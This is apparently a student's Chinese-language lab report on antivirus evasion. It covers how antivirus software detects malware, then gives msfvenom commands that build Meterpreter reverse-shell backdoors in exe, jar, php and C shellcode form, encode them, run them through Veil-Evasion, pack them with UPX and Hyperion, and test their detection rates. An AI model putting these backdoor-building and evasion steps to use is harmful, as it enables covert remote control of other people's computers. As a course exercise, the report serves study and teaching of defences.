[toc]
#一、学习目标
(1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
(2)通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
#二、基础问题回答
1、杀软是如何检测出恶意代码的?
基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
优点: 可以检测0-day恶意软件 具有一定通用性
缺点: 实时监控系统行为,开销稍多 没有基于特征码的精确度高
基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2、免杀是做什么? 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些?
(1)改变特征码 如果你手里只有EXE—— 加壳:压缩壳 加密壳 有shellcode(像Meterpreter)—— 用encode进行编码;基于payload重新编译生成可执行文件 有源代码—— 用其他语言进行重写再编译(veil-evasion)
(2)改变行为 通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据 操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码
(3)非常规方法 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。 使用社工类攻击,诱骗目标关闭AV软件。 纯手工打造一个恶意软件
4、开启杀软能绝对防止电脑中恶意代码吗? 回答:不能。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。
#三、实验步骤
###1、使用msf编码器msfvenom生成后门程序
查杀网站: https://www.virustotal.com/ http://www.virscan.org/
编码一次的命令如下(-e参数为编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded.exe
之后我们可以通过VirusTotal或Virscan这两个网站进行检测,看看能被多少杀软检测出来。
检出率是26/49
十次命令如下(比之前多加个 -i 10):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded10.exe
检出率是25/49
我们发现多次编码对免杀没有太大的效果,原因如下:
shikata_ga_nai
总会有解码(decoder stub)部分需要加入的exe中,杀软只需要查杀你特征就完事了。
###2、使用Msfvenom生成jar等其他文件
- 用下面的命令生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor_java.jar
###用下面的命令生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor.php
同样测试一下能不能免杀:
检出率3/66
###3、Veil-Evasion
我们首先使用sudo apt-get update
命令和sudo apt-get upgrade
命令进行更新
用sudo apt-get install veil
命令安装Veil
之后使用veil
命令打开Veil,输入y继续安装直至完成(过程十分漫长,十分艰难。。)
我终于成功了...
输入命令use c/meterpreter/rev_tcp.py
进入配置界面
依次输入set LHOST 192.168.80.130
和set LPORT 5201
设置反弹连接IP和端口
然后我们用Virus Total来检测一下,看看有多少杀软能检测出来
检出率10/49效果其实还不错了
###4、用shellcode编程生成后门程序
用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 -f c
生成一段shellcode
然后我们用vim命令创建一个文件20175201.c
,然后将unsigned char buf[]
赋值到其中,内容如下:
使用命令i686-w64-mingw32-g++ 20175201.c -o 20175201.exe
编译这个.c文件为可执行文件
###5、加壳
给之前的20175201.exe加个壳得到20175201_upx.exe:
加密壳(Hyperion)
将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中进入目录
/usr/share/windows-binaries/hyperion/
中输入命令
wine hyperion.exe -v 20175201_upx.exe 20175201_upx_Hyperion.exe
进行加壳:
(3)通过组合应用各种技术实现恶意代码免杀
我们可以使用msfvenom -l encoders
查看可以使用的编码器来生成不同的后门
使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳;然后在kali上监听并回连
#三、实验遇到的问题
###1、装veil的时候,缺少Python3.4的包。
- 解决:
git clone https://github.com/Veil-Framework/Veil
cd Veil/config/
./setup.sh
###2、没有找到hyperion.exe
程序。
- 按步骤做到这里人懵了,百度有相似的问题,但我尝试都失败了。最后参考了丁文韬同学的博客解决:
https://www.cnblogs.com/jxxydwt1999/p/12350148.html#_label2_1
#四、实验感想 在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在安装过程中重复error,我百度了很久才解决完安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。 本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,也证明了可以躲避普通杀软,但是通过不了专业的杀毒。实验在之后的学习过程中,我会努力站在攻击者的角度思考,从而避免被恶意代码攻击成功。